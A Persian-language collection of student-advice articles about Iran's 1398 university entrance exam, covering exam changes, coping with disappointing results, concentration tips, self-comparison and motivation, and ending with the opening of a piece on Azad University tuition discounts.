تغییرات کنکور سراسری۹۸

همانطور که می دانید کنکور امسال آخرین کنکور نظام قدیم است. از سال ۹۸ به بعد تغییراتی در کنکور سراسری اعمال خواهد شد. کنکور سراسری آزمون بزرگ است که هر سال تعداد بالای متقاضی برای ورود به دانشگاه تهران ثبت نام میکند کتاب های درسی سه سال دبیرستان و یک سال پیش دانشگاهی را خوانده و در این ماراتون بزرگ شرکت می‌کنند. اما سوالی که اینجا مطرح می‌شود این است که کنکور سراسری ۹۸ چه تفاوتی با سالهای گذشته دارد زیرا پشت کنکوری های ۹۸ می دانندکه منابع کاملاً تغییر کردند و نمی دانند باید چه کتابی بخوانند و چه کار کنند.
تغییرات منابع در کنکور ۹۸
همانطور که می دانید منابع کنکور سراسری ۹۸ کاملا تغییر کرده زیرا نظام اموزشی مدارس تغییر کرده است و کتاب ها عوض شده. اما سوالی که مطرح می‌شود این است که این تغییرات به چه مقدار است؟؟
تغییراتی که در کتاب درسی اتفاق افتاد شامل محتوا و مفهوم اصلی دروس نیست فقط موارد جزئی تغییر داده شده است و این تغییرات ناچیز هستند و نباید دچار نگران شوید.
نحوه برگزاری کنکور ۹۸ به چه صورت است؟
سوالی که به مراتب بیشتر از ما می‌شود این است که کنکور سراسری به چه صورت برگزار خواهد شد و تکلیف پشت کنکوری ها چیست؟؟
باید مژده را به داوطلبان بدهیم که در سال ۹۸ دو کنکور برگزار خواهد شد یکی برای نظام قدیم و دیگری برای نظام جدید.
برنامه های دهه ۸۰ چه تغییراتی در نظام آموزشی به وجود آمدن کتاب درسی تغییر کرد کنکور سال ۸۱ اولین سالی بود که پس از تغییرات بود و این آزمون به صورت ای برگزار شد که دو دسته سوال مختلف وجود داشت برای نظام قدیم و دیگری برای نظام جدید اما این دو آزمون به صورت همزمان برگزار شد و این کار تا سال ۸۳ تکرار شد.
کنکور سال ۹۸ نیز به همین صورت خواهد بود داوطلبان در ساعات یکسان در جلسه حضور پیدا کرده و به سوالات متفاوتی پاسخ می‌دهند.

چگونه بر ناامیدى خود غلبه کنیم؟

به گفته نویسنده معروف، پایولو کوییلو: “آن لحظه معجزه آسا به ما کمک می‌کند تا خود را تغییر دهیم و ما را به سمت رسیدن به آرزوهایمان سوق می‌دهد. بله، ما سختى مى کشیم، لحظات سخت خواهیم داشت و ناامیدى هاى بسیارى را تجربه خواهیم کرد، ولى تمام اینها گذراست و هیچ اثر دایمى باقى نمی‌گذارد. و یک روز با افتخار و امید به مسیرى که پیموده‌ایم نگاه خواهیم کرد.” 

ناامیدى یک اتفاق طبیعى است و همه در بخش‌هایى از زندگى خود آن را تجربه می‌کنیم؛ زیرا گاهى انتظارات ما با آنچه در واقعیت اتفاق می‌افتد همخوانى ندارد. ناامیدى احساسى است که بسیارى در کنترل و مدیریت آن دچار مشکل می‌شوند و دانستن اینکه چگونه با ناامیدی‌هایمان کنار بیاییم، خود بخش مهمى از زندگى ماست؛ به عنوان مثال، اگر نتیجه مطلوب خود را در کنکور کسب نکرده باشیم ممکن است که دچار این احساس تلخ شویم.
گاهى زندگى، ما را در شرایطى قرار می‌دهد که کنترلى روى آن نداریم؛ ولى در سایر مواقع، اعمال ما هستند که سبب به وجود آمدن این چنین شرایطى می‌شوند. اینکه ما چگونه با این شرایط برخورد کنیم مهم است؛ زیرا این موضوع، کیفیت زندگى ما را به میزان زیادى تحت تاثیر قرار خواهد داد. اجازه ندهیم که ناامیدی‌هاى امروز، روى آرزوهاى فرداى ما سایه بیفکند. 
این مقاله کمک می‌کند تا استراتژی‌هایى ساده، ولى کارآمد را به کار گیریم تا بتوانیم بر ناامیدى خود غلبه کنیم.
احساسات خود را مدیریت کنیم
هنگامی که در زندگى با موقعیت‌هاى سخت و احتمالاً پیش‌بینى نشده مواجه می‌شویم، باید عکس‌العمل احساسى خود را نسبت به آن اتفاق تجربه کنیم و این اجازه را به خود بدهیم که بفهمیم این اتفاق چه معنایى براى ما داشته است. از بروز احساسات خود نترسیم. ناراحتى به دلیل نرسیدن به هدفى که داشته‌ایم امرى کاملاً طبیعى است. با نزدیکان و دوستان خود درد دل کنیم و با آنها مشورت کنیم؛ حتى نوشتن احساساتمان، براى غلبه بر خشم و ناراحتی‌مان بسیار مفید خواهد بود. اگر واقعاً نیاز به کمک داریم، با یک مشاور صحبت کرده و مشکلات خود را حل کنیم. “پذیرفتن” را با خود تمرین کنیم. پذیرفتن آنچه پیش آمده، یکشبه اتفاق نمی‌افتد، ولى در نهایت با تمرین زیاد، زمانى خواهد رسید که دیگر با فکر کردن به موضوعى که پیش آمده است، احساس خشم نخواهیم کرد. هیچ‌گاه به خاطر شکست خود، دیگران را سرزنش نکنیم و بهتر است که هیچ تصمیم مهمى را در زمانى که ناراحت و ناامید هستیم نگیریم یا بر اساس احساساتمان کارى را انجام ندهیم. ممکن است که ساعت‌ها یا حتى روزها طول بکشد تا ما بتوانیم آرام شویم، ولى تنها آن زمان است که می‌توانیم تصمیمات درستى را اتخاذ کنیم.
قوانین و انتظارات خود را دوباره تعریف کنیم
احتمالش خیلى زیاد است ناامیدى ما به این خاطر باشد که براى خود یک “قانون” درونى ساخته‌ایم که قدرت را از ما می‌گیرد و ما را در گردابی از افکار منفى گرفتار می‌کند؛ یک قانون که می‌گوید تنها با وجود یک مجموعه از شرایط خاص است که ما می‌توانیم احساس شادی یا موفقیت کنیم؛ به عنوان مثال، اگر ما قانونى را براى خود داشته باشیم که می‌گوید باید از همه نظر کامل و بهترین باشیم، از آنجایی که هیچکس کامل نیست، احتمال اینکه زمان زیادى از وقتمان را با احساس غم و ناامیدى و دل شکستگى بگذرانیم بسیار زیاد است. اگر قانون ما براى احساس شادى و موفقیت، نیازمند ایجاد شرایطى است که کاملاً از کنترل ما خارج است یا تنها زاییده تخیلات ماست و با واقعیت فاصله دارد، به احتمال زیاد ناامید خواهیم ماند؛ پس هنگامی که احساس ناامیدى می‌کنیم، بهتر است که قانون درونى و انتظارات خود را مرور کرده، واقع بینانه‌تر نگاه کنیم یا حتى قانونمان را تغییر دهیم. یک قانون قدرت بخش چیست؟ با خود بگوییم من احساس شادى و موفقیت می‌کنم زمانى که نهایت تلاش خود را کرده باشم.
دلایل خود را فراموش نکنیم
اینکه چرا یک هدف یا نتیجه خاص را دنبال می‌کنیم، ممکن است دلایل زیادى داشته باشد. این دلایل ما هستند که قدرت درونى پشتکار را به ما می‌دهند، و همین دلایل هستند که جرات مواجهه با ناامیدى و تلاش دوباره را در ما ایجاد می‌کنند. در زمان ناامیدى، مرور و یادآورى دلایلمان براى رسیدن به هدف نهایى، بسیار مؤثر خواهد بود. هنگامی که این دلایل را به خاطر می‌آوریم، به احتمال زیاد تعهد خود را تجدید کرده و در ناامیدى غرق نمی‌شویم.
به هدف خود متعهد باشیم
زمان‌هایى هستند که احساس ناامیدى آن چنان بر ما غلبه می‌کند که فکر می‌کنیم آخر دنیاست. ناامیدى، آخر راه نیست، ولى ممکن است که ما را از قدم گذاشتن در راهى که در نهایت ما را به موفقیت می‌رساند منصرف کند؛ پس زمانی که چنین موانع و شکست‌هایى را تجربه می‌کنیم یا انگیزه خود را از دست می‌دهیم، باید به تصویر بزرگتر فکر کرده و بار دیگر به هدف نهایى و رسیدن به آن هدف، متعهد شویم. ناامیدى حتى می‌تواند تجربه‌اى ارزشمند باشد؛ زیرا می‌توانیم از تجربه خود درس گرفته و براى مواجه شدن با آنچه در آینده در انتظارمان است قوی‌تر شویم؛ به عنوان مثال، اگر ما تلاش زیادى براى موفقیت در کنکور کرده‌، ولى نتیجه مطلوب را به دست نیاورده‌ایم، این ناامیدى نشان می‌دهد که آن میزان تلاشى که فکر می‌کردیم کافی است تا به هدف مورد نظر برسیم، کافى نبوده و به ما کمک می‌کند تا تلاش خود را بیشتر کرده یا راه و روش قبلى خود را تا حدى تغییر دهیم.
مسایل را شخصى نکنیم
بسیارى منتظرند تا هرگونه اتفاق منفى در زندگى را به شکست‌هاى شخصى خود ربط دهند و خود را مستحق آن می‌دانند یا حتى با خود می‌گویند که به اندازه کافى خوب نیستند که بتوانند موفق شوند. واقعیت این است که هنگامی که موضوعى را شخصى می‌کنیم، دیدگاه ما محدود شده و این اجازه را به ما نمی‌دهد تا موضوع را از زاویه‌اى عمیق‌تر، گسترده‌تر و پر معناتر نگاه کنیم و به اشتباهات خود پی ببریم. اینکه مسایل را بتوانیم عمیق‌تر بررسى کنیم، به ما کمک می‌کند تا به جاى آنچه که خود در ذهنمان ساخته‌ایم، بتوانیم دلیل اصلى شکستمان را بیابیم.
همه چیز را از اول شروع کنیم
بعد از همه این مراحل، وقت آن است تا در مورد اینکه چه باید بکنیم، یک تصمیم بزرگ بگیریم. دوباره آغاز کردن، یک رفتار شجاعانه است. شروع دوباره، به معناى پذیرفتن آن چیزی است که اتفاق افتاده و حرکت رو به جلو است. ما در گذشته زندگى نمی‌کنیم؛ بلکه ما از آنچه گذشته به ما درس می‌دهد، تجربه کسب می‌کنیم و با این حال به تلاش خود ادامه می‌دهیم. ما فرداى آن روز طورى از خواب بر می‌خیزیم که انگار تجربه‌اى تازه در انتظار ماست. هیچ اتفاقى در گذشته، نمی‌تواند ما را از رسیدن به هدفمان و آنچه که استحقاقش را داریم باز دارد؛ پس به جاى اینکه گوشه‌اى بنشینیم و دلمان به حال خودمان بسوزد، با شروع و ایستادن دوباره، امکان رسیدن به موفقیت را براى خود فراهم کنیم.

مواجهه با نتیجه کنکور را بزرگ نکنید/ دانشگاه نقطه پایان زندگی نیست

یکی از دغدغه‌های هر فردی بعد از اتمام دوران مدرسه قبولی در کنکور و چندین رشته محبوب در کشور است که قطعا این مساله میسر نمی‌شود و گروهی از این علاقه‌مندان به هدف تعریف شده نخواهند رسید بنابراین باید با نگاهی واقع بینانه در مسیر علمی قدم گذاشت و صرفا کنکور را تنها مسیر موفقیت ندانست هرچند در این میان تبلیغات رنگارنگ کلاس‌های کنکور را نمی‌توان نادیده گرفت که برای سودجویی سدی از کنکور ساختند که جز با کمک آن‌ها عبور از این سد میسر نخواهد شد.

آمادگی هر نوع نتیجه‌ای را در کنکور داشته باشید

بنابر اعلام سازمان سنجش کشور قریب به ۲ هفته دیگر نتایج اولیه اعلام می‌شود و داوطلبان بسیاری در انتظار این نتیجه اند که بی شک امسال هم مانند سال‌های گذشته موجی از غم و شادی در بین داوطلبان بعد از اعلام نتایج ایجاد می‌شود.

مسیر رسیدن به هر هدفی فراز و نشیب‌های بسیاری دارد و همین مسئله موجب شده تا دستیابی به هدف برای انسان‌ها لذت‌بخش باشد و نباید فراموش کنیم که هر شکستی تجربه‌ای بوده تا برای ادامه زندگی مسیر بهتری را انتخاب کنیم.گاهی مسیر‌هایی در زندگی وجود دارد که ما را به هدف نهایی نمی‌رساند و با توجه به این که تا دو هفته آینده نتایج کنکور سراسری اعلام می‌شود و داوطلبان کنکور سراسری باید آمادگی مواجه با هر نوع نتیجه‌ای را داشته باشند.صرفا کسب رتبه بالا در کنکور سراسری تضمین موفقیت نخواهد بود همین طور دستیابی به رتبه‌های نه چندان دور نیز نشان شکست نیست.

 

شکست در کنکور معنا ندارد

بدون شک کسب رتبه نامطلوب برای گروهی از داوطلبان رقم خواهد خورد، اما نباید این مساله را پایان زندگی دانست و مسیر موفقیت باید با وجود هر فراز و نشیب طی شود.

داوطلبان هر رتبه‌ای که کسب کنند نتیجه زحماتی است که در طول سالیان دانش‌آموزی به خرج دادند بنابراین باید برای پذیرش نتیجه انعطاف پذیر برخورد کنند و بعد از این مرحله به فکر ساختن آینده‌ای مناسب برای خود وارد عمل شوند.نمونه‌های بسیاری از داوطلبان کنکور سراسری وجود دارند که علی‌رغم کسب رتبه‌ای نه چندان خوب در حوزه کار‌آفرینی عملکرد بسیار ارزشمند و قابل قبولی داشتند بنابراین کنکور را نمی‌توان به منزله تعیین کننده اصلی مسیر زندگی دانست.

 

کنکور صرفا کاتالیزگر در زندگی است

اغلب داوطلبان کنکور سراسری را تمام زندگی خود می‌دانند و موفقیت در آن را زمینه‌ای برای دستیابی به اهداف بزرگ خود تلقی می‌کنند در حالی که این تفکر چندان صحیح نیست.بنابر این تعبیر هر زمان که نتیجه‌ای مناسب از کنکور حاصل نشد می‌توان با تلاشی بیشتر به ساختن آینده‌ای بهتر اقدام کرد پس بدون هیچ مقاومتی نتیجه کنکور را بپذیریم. افرادی که رتبه‌های برتر کنکور سراسری را کسب می‌کنند امیدوارم در آینده نیز این موفقیت را تداوم ببخشند و گروهی که نتیجه چندان مطلوبی بدست نیاورده اند، آینده خود را با افکار منفی تباه نکنند.

 

مراکز مجاز انتخاب رشته را فراموش نکنید

این روز‌ها به تدریج بازار تبلیغات اغواکننده مراکز انتخاب رشته روبه افزایش است و گروهی با هدف سودجویی داوطلبان کنکور سراسری را به سمت خود سوق میدهند در حالی که برخی از این مراکز انتخاب رشته توانایی لازم را نداشته و اتلاف وقت و انرژی برای داوطلبان در پی خواهد داشت. این مسئله مسیر ورود داوطلبان به دانشگاه محسوب می‌شود که برای انتخاب هر چه بهتر تک تک رشته‌های واجد شرایط خود را بررسی کرده و از دانشجویان این رشته‌ها شرایط را جویا شوند.پس از تحقیق کامل در مورد رشته‌ها و دروس آن به افراد قابل تأیید و مراکز مجاز انتخاب رشته مراجعه کنند.

در انتخاب رشته این مسئله را مورد توجه داشته باشند که منزلت اجتماعی رشته، اصرار خانواده یا دلایلی از این قبیل کارساز نخواهد بود و عنوان رشته شخصیت فرد را نمی‌سازد بلکه شرایط کاملا برعکس است پس با دیدی آگاهانه نسبت به انتخاب رشته دانشگاهی داوطلبان وارد رشته شوند.

در زمان انتخاب رشته چرا که در زمان انتخاب رشته مراکزی که در این حوزه تخصص ندارند با سودجویی وارد عمل می‌شوند.داوطلبان فراموش نکنند که ورود به دانشگاه شروعی به سوی اهدافی بزرگتر بوده و آن را نباید راه پایان دانست.حال با این وجود داوطلبان باید به تدریج با نگاهی عاقلانه برای رویارویی با نتیجه کنکور سراسری و انتخاب رشته دانشگاهی بعد از آن آماده شوند و صرفا بر مبنای احساسات لحظه‌ای کار عمل نکرد.

۷ نکته برای وقت‌هایی که نمی‌توانیم تمرکز کنیم

گاهی در زندگیمان اتفاقات زیادی رخ می‌دهند. رخدادهای مختلفی که تمرکزمان را از ما می‌گیرند. اکثر ما این تجربه را داشته‌ایم که وقتی پای کارمان می‌نشینیم به کلی احساس حواس‌پرتی می‌کنیم. برای این که دوباره بتوانیم تمرکز کنیم و با بهره‌وریِ بالا به کارمان برسیم، چه باید کنیم؟

متخصصان چه می‌گویند؟

سوزان دیوید، نویسنده‌ی کتاب چابکی احساسی، می‌گوید احساس حواس‌پرتی و ناکارآمدی چیزیست که اکثر مردم با آن مشکل دارند. خصوصاً در مایی که مدام با اخبار، پیام‌ها، و دیگر چیزها بمباران می‌شویم. ما حتی در روزهایی که احساس چابکی و پرتلاش‌بودن داریم نیز مجبوریم با همکارانمان سر و کله بزنیم.

او در این مورد می‌گوید:

ما خیلی آرام و ظریف تحت تأثیر برخورد و احساسات دیگران قرار می‌گیریم.

و زمانی که این اتفاق می‌افتد، ما آرام آرام از از مسیرمان دور می‌شویم…

ریچ فرناندز که شرکتش برگزارکننده‌ی دوره‌های هوش هیجانی‌ست می‌گوید «چیزی که در همه‌ی ما مشترک است، ساختار عصبی‌ای است که ما را به سمت استرس سوق می‌دهد و از کارآمدیمان می‌کاهد.»

برای این که به این مشکل فائق بیایید و تمرکزتان را پس بگیرید، به این نکات توجه کنید…

  ۱) همزمان چند کار را انجام‌دادن خطرناک است… مراقب باشید!

تأثیر عوامل حواس‌پرت‌کنی مانند موبایلی که مدام صدا می‌دهد، یا تلگرامی که گاه و بی‌گاه کانال‌ها و گروه‌هایش خودنمایی می‌کنند را جدی بگیرید.

در مغز ما ساختاری مرتبط با تمرکز حواس وجود دارد.

به طور پیش‌فرض، این سیستم مشغول تجزیه و تحلیلِ گذشته، تلاش برای پیش‌بینی آینده، و تفکر در مورد خودمان و دیگران است. این ساختار، بیشتر از نصف عمرمان در این حالت است.

زمانی که قصد داریم روی مسئله‌ای تمرکز کنیم، این ساختار وارد وضعیت توجه مستقیم می‌شود که به شما اجازه می‌دهد همه چیز را کنار بگذارید و به کارتان توجه کنید.

حواس‌پرتی، به هر نحوی و از هر جایی که باشد، باعث می‌شود این سیستم وارد حالت پیش‌فرض خود شود و بازگشت دوباره‌ی آن به فضای تمرکز، کاری انرژی‌بر است. بعضی تحقیقات نشان‌داده‌اند که ۱۰ تا ۱۸ دقیقه طول می‌کشد تا بعد از حواس‌پرتی، ذهن شما دوباره روی موضوعی متمرکز شود.

به همین دلیل است که باید تا جای ممکن از عوامل حواس‌پرتی دور شد.

  ۲) به احساساتتان پاسخ دهید اما آن را در دست بگیرید.

دست‌پاچگی احساسات مختلفی را در انسان ایجاد می‌کند؛ احساساتی مانند ناامیدی، عصبانیت و اضطراب. این چیزی‌ست که کارآمدی شما را نابود می‌کند.

برای این که این احساسات را کنترل کنید و احساس نکنید که کائنات، و محل کار یا تحصیلتان، کمر بر آزار شما بسته‌اند، لحظه‌ای درنگ کنید و وجود آن احساسات را بپذیرید!

«بله من عصبانی هستم.»

اما قرار نیست شما توسط این احساس احاطه شوید… اجزاء آن را از هم تفکیک کنید و هر کدام را جداگانه برچسب بزنید.

به جای یک عصبانیت اعصاب‌خرد کن و مخرب، بپذیرید که «الآن “من” عصبانی هستم» بپذیرید و در مورد دلایل آن و جنبه‌های مختلف این دلایل فکر کنید.برچسب‌زدن به احساسات تکنیکی است که می‌تواند موقعیت‌های متشنج احساسی را آموزنده کند.

  ۳) توجهتان را جمع کنید.

وقتی احساس حواس‌پرتی می‌کنید، لحظه‌ای صبر کنید، و حواستان باشد که نزدیک است عنان کار از کفتان خارج شود.

به این نکته توجه کنید که معمولاً حواس‌پرتی‌ها و نگرانی‌های ما در مورد چیزهایی‌ست که در آن لحظه محرک‌های حقیقی‌ای نیستند. پیشنهاد می‌شود برای این که مجدداً تمرکزتان برگردد به چیزی حقیقی، مانند تنفستان، فکر کنید.

به نفس‌کشیدنتان دقت کنید و به خودتان یادآور شوید که این نوتیفیکیشن نباید مصرف‌کننده‌ی شما باشد.

دقت کنید که قرار نیست عوامل پرتی حواس را سرکوب کنید یا تقلا کنید که به آن‌ها توجه نکنید. در عوض شما کاملاً آگاهانه آن‌ها را در مغزتان در پارکینگی می‌گذارید تا بعداً سر فرصت به آن توجه کنید.

به ارزش‌هایتان توجه کنید.

زمانی که تمرکز می‌کنید، می‌توانید تصمیم بگیرید این توجه ذهنی را به کجا معطوف کنید. پیشنهاد می‌شود به چیزهایی که برایتان ارزشمند هستند فکر کنید.

زمانی که دستپاچه هستید، احساس می‌کنید قدرت انتخاب و گزینه‌های پیش رویتان دارند از بین می‌روند. در آن زمان به گزینه‌های موجود فکر کنید. اگر کار تیمی برای شما مهم است به این فکر کنید که چطور می‌توانید تمرکزتان را خرجِ تیمِ منسجم‌تریتان کنید.

اگر گاه و بیگاه سر در گروه‌های خانوادگی تلگرام دارید به این فکر کنید که چطور این کارتان باعث خراب‌شدن کارهای تیمی می‌شود و آرام‌آرام باعث از هم پاشیده‌شدن تیمتان می‌شود.

  ۴) خط قرمزها را مشخص کنید.

وقتی چیزهایی که باعث حواس‌پرتیتان می‌شوند را پیدا کردید، برایشان قانون وضع کنید.

اول صبح، خواندن اخبار شما را به هم می‌ریزد و تا آخر وقت فکرتان را درگیر می‌کند؟ با خودتان عهد کنید تا زمان ناهار دست به روزنامه یا کانال‌های خبری نمی‌زنید.

یا با خودتان قرار بگذارید تا فلان کارها را انجام نداده‌اید تلگرامتان را باز نخواهید کرد.

باید تمرین کنید…. شاید تا زمانی که بتوانید خودتان را کنترل کنید، بخواهید از نرم‌افزارهایی که در این زمینه هستند کمک بگیرید.

تحقیقات زیادی هستند که نشان می‌دهند از روی اراده تمرکز کردن، کیفیت آن را بالاتر می‌برد.

  ۵) هم‌قطارانتان را با دقت انتخاب کنید.

رفتارهای اجتماعی واگیر هستند….. تحقیقات نشان داده اگر نفر کنار دستیِ شما در هواپیما یک شکلات بخرد، ۳۰ درصد بیشتر از سایرین انتظار می‌رود که شما هم شکلات بخرید؛ حتی اگر نفر کناری را نشناسید.

در مورد کارآمدی هم همینطور است. اگر همکارانی دارید که معمولاً حواس سایرین را پرت می‌کنند یا از کارهای مهم منحرف می‌کنند، می‌توانید با آن‌ها کمتر در ارتباط باشید.

نیازی نیست با آن‌ها رفتار تندی داشته‌باشید… خیلی ساده می‌شود از افراد خواست «من باید این کار را انجام دهم؛ امکانش هست زمان دیگری صحبت کنیم؟»

  ۶) از همکارانتان کمک بگیرید و به آن‌ها کمک کنید.

حرف بالا را نشنیده بگیرید. به جای دوری از همکاران، می‌توانید با آن‌ها قرار بگذارید. زمانی را مشخص کنید و با هم قرار بگذارید که تا آن زمان به شبکه‌های اجتماعی دست نمی‌زنید و کاری هم به کار یکدیگر ندارید. بعد از آن هر کاری دوست داشتید انجام دهید!

می‌توانید حین صبحانه‌خوردن با یکی از همکارانتان صحبت کنید. از یکدیگر راهنمایی بگیرید و با هم مشورت کنید. برای بالا رفتن بهره‌ی کاریتان با یکدیگر تصمیم بگیرید و قرار بگذارید که آن کارها را انجام خواهید داد.

وقتی به شخص دیگری می‌گویید که قصد انجام کاری را دارید، ناخودآگاه بیشتر تمایل پیدا می‌کنید که آن کار را انجام دهید.

  ۷) مواظب خودتان باشید.

اگر شما خسته و فرسوده باشید، بیشتر در برابر احساسات آسیب‌پذیر می‌شوید و احتمالاً زودتر پریشان می‌شوید. ورزش و خواب کافی دو عنصر مهم برای حفظ تمرکز هستند.

همچنین پیشنهاد می‌شود خوشی‌های کوچکی در محیط و در زندگیتان داشته‌باشید که حالتان را خوب کند: زنگ تفریح برای خودتان بگذارید… غذای سالم بخورید…. گاهی موبایلتان را سایلنت کنید….

سوزان دیوید که در ابتدای بحث از او یاد شد و بخش‌های زیادی از این نوشته از صحبت‌های او بود پیشنهاد می‌دهد:

اگر معمولاً وقت ناهارتان را در فیس‌بوک می‌گذرانید، موبایلتان را کنار بگذارید؛ و به جای آن در هوای آزاد و تازه کمی قدم بزنید.

پیشرفت خودت را با خط کش دیگران اندازه گیری نکن

بعضی‌ها برای آینکه انگیزه پیدا کنند و در تصمیم خود برای رسیدن به هدفشان محکم تر یاشند، دائما خود را با دیگران مقایسه می کنند. درست است که کنکور یک مسابقه بزرگ و یک رقابت بر سر بهترین‌هاست ولی باید منطقی و معقول فکر کنید و خودتان را با خودتان مقایس  ه کنید. چرا که وضعیت زندگی،‌، وضعیت درسی و اهداف هر کسی با دیگری متفاوت است. اگر خود را با دیگران مقایسه کنید، تنها قافله را باخته‌اید و هفته ها و یا حتی ماه ها از رقیبان عقب می‌مانید پس هیچگاه غرق این افکار نشوید و ذهن و جسم خود را خسته نکنید تا بتوانید بر فعالیت اصلی خود متمرکز شوید و از توانایی‌ها و مهارت‌های خود نهایت استفاده را ببرید. به جای مقایسه خود با دیگران، تمام  توان و تلاش خود برای تمرکز روی کارهایی که برای رسیدن به اهدافتان باید انجام دهید، بگذارید و از توانایی‌های و استعدادهای خود نهایت استفاده را ببرید (برنامه ریزی شخصی فراموش نشود و یادتان باشد هیچ موفقیتی بدون برنامه ریزی نیست). با مقایسه کردن خود با دیگران، علاوه بر اینکه از رقیبان خود عقب بیفتید، به مرور زمان انگیزه خود را از دست می‌دهید و به توانایی‌های خود شک پیدا می‌کنید. بهترین رقیب شما، خودتان هستید، پس پیشرفت درسی و یا حتی پیشرفت های زندگی خود را با خط کش دیگران مقایسه نکنید.

پیشرفت خودت را با خط کش دیگران اندازه گیری نکن

مطمئن باشید اگر خداوند، آرزوی رسیدن به هدفی را در فکر و قلب شما نهاده، یعنی شما می‌توانید. پس وقتتان را با مقایسه‌های غیرمنطقی خود با دیگران هدر ندهید و طبق برنامه‌ریزی خود پیش بروید. تمام تلاش و تمرکز خود را بر اجرای برنامه‌ریزی خود بگذارید و بدانید رقیب اصلی هر کسی،‌خود اوست و با خودتان رقابت کنید برای اینکه :‌ ” بهتر از روز قبل باشید،بهتر از هفته قبل باشید، عملکردتان بهتر از آزمون قبل باشد، ساعت مطالعه مفید امروزت بیشتر از دیروز باشد، امروز چند تا تست بیشتر از دیروز بزنید، امروز چند دقیقه زودتر از دیروز از خواب بلند شوید، امروز تمرکزت بیشتر از روز قبل باشد، امروز کمتر از فضای مجازی و گوشی استفاده کنید. این آزمون باید به دروس عمومی بیشتر توجه کنید، در آزمون بعدی، تحلیل آزمونتان را بهتر انجام دهید و … “. مطمئن باشید اگر با برنامه باشید و هر روز تنها یک قدم از روز قبلتان جلوتر باشید، موفق می‌شوید. رقابت با خودتان باعث می‌شود بدون اینکه خودتان متوجه باشید از خیلی از رقبای دیگرتان هم جلو بزنید.

چگونه با خودتان رقابت کنید و خود را با دیگران مقایسه نکنید!!

* ویژگی‌های خود را شناسایی کنید.

* روش برنامه‌ریزی  و روش حرکت خودتان را مشخص کنید.

* روش مطالعه خودتان را پیدا کنید.

* تلاش کنید تا توانایی‌های خود را بهبود ببخشید.

* انتظاراتتان از خودتان را شناسایی کنید. البته منطقی فکر کنید.

* جمله‌های ذهنی منفی‌تان و مقایسه‌های غیرمنطقی را از ذنتان پاک کنید (من نمی‌توانم،‌!!! نمره فلانی از من بهتر شده!)

* اهداف کوتاه‌مدت، میان‌مدت و بلندمدت خودتان را پیدا کنید و به اهداف خودتان فکر کنید.

* نقاط قوت و نقاط قوت پایدار خود را بشناسید.

* از تجربه افراد موفق استفاده کنید ولی خود را مقایسه نکنید. کپی برداری ممنوع.

* به کسانی که شما را مقایسه می‌کنند توجه نکنید.

* ویژگی‌ها و توانایی خود را ببینید و منفعل نباشید.

* روش مطالعه افراد موفق را بدانید ولی روش خودتان را پیدا کنید.

* مربی خودتان باشید.

* پیشرفت‌های خودتان را هر روز ببینید و در دفتر بنویسید.

شما هم می‌توانید شاهکار خلقت باشید،‌ اگر ارزش زمان و استعدادهای خود را بدانید…

انگیزه برای کنکور

ریشه تو فهم تو است

یک سنگ به اندازه ای بالا می رود که انگیزه ای پشت آن باشد. با تمام شدن انگیزه (سرعت) سقوط و افتادن سنگ طبیعی است.

ولی یک گیاه کوچک را نگاه کن

که چطور از زیر سنگ ها و خاک ها سر بیرون می آورد حتی آسفالت ها و سیمان ها را می شکند و سر بلند می شود.

اگر تو به اندازه این گیاه کوچک ریشه داشته باشی

از زیر خاک و سنگ از زیر عادت و غریزه و از زیر حرف ها و هوس ها سر بیرون می آوری و افتخار می آفرینی.

ریشه ی تو همان فهم تو علاقه ی تو و انتخاب توست.

داشتن انگیزه و اشتیاق سوزان برای رسیدن به هدف در کنکور سراسری از مهمترین رکن هاست. باید انقد هدفتون براتون با ارزش باشه که از همه چیز زندگیتون بزنید تا بتونید به هدفتون برسید. باید همیشه پشت سرتون رو نگاه کنید و آدم هایی رو ببینید که چشم انتظار تزلزل و زمین خوردن شما هستند تا از روتون رد بشند با دیدن چنین افرادی باید بی وقفه به سوی هدفتون حرکت کنید. یادتون باشه هر کسی هدفی از خلقتش وجود داشته است و باید در راستای دست یابی به هدفش حرکت کند.
باید تو این یه سال یجوری با ولع درس بخونید که بعد ازظهر آزمون که از کنکور برگشتی یا بعد از دیدن نتایج کنکور وقتی تو آینه نگاه کردی حالت از خودت بهم نخوره و دلت نخواد که آینه رو بشکنی.
هدفت باید مشخص باشه.چی میخای؟
پزشکی تهران؟ دندون بهشتی؟ برق شریف؟ عمران امیرکبیر؟ حقوق تهران یا علامه؟
اصلا باید بدونی برای چی داری میری دانشگاه تهران یانه؟
میری دانشگاه تهران که وقتی استاد اومد سر کلاس خواست رزومشو پایه تخته بنویسه رزومش رو تخته جا نشه بره رو دیوار بنویسه. میری شریف که با چند تا انسان تحصیل کرده صحبت کنی کسایی که کف آرزوهاشون آمال و آرزو های خیلی از هم سن و سالای خود ماست.
فقط باید حرکت کنی، قراره ثمره ۱۲ سال درس خوندن رو بگیری و بشینی رو صندلی یه دانشگاه خوب و معتبر که زندگیتو عوض کنی که یه حرکتی بزنی که حتی اگه قبول نشدی حداقل حداقل شرمنده خودت و وجدانت نشی.

داشتن ابرام و پشت کار و ایمان به خود از رکن های اصلی برای موفقیت در ازمون سراسری هست.

همه راه‌های تخفیف شهریه از دانشگاه آزاد اسلامی

پرداخت شهریه دانشگاه‌ها برای نزدیک به ۸۵ درصد دانشجویان کل کشور یکی از مسائل مهم است و به تبع آن هر دانشجویی به فکر یافتن راهی برای تخفیف در شهریه است.

 

به گزارش گروه رسانه‌های دیگر خبرگزاری آنا از فرهیختگان؛ تهیه کردن شهریه دانشگاه یکی از مسائل مهمی است که هر خانواده‌ای را در طول تحصیل فرزندشان با مشکلاتی همراه می‌کند، البته دانشجویانی هستند که بدون کمک مالی والدین و با کار پاره‌وقت به هر شکلی شده، هزینه‌های دانشگاه را پرداخت می‌کنند. اما پرداخت شهریه دانشگاه‌ها برای نزدیک به ۸۵درصد دانشجویان کل کشور یکی از مسائلی است که هر دانشجویی را به فکر فرو می‌برد که آیا راهی برای تخفیف شهریه‌ای وجود دارد؟
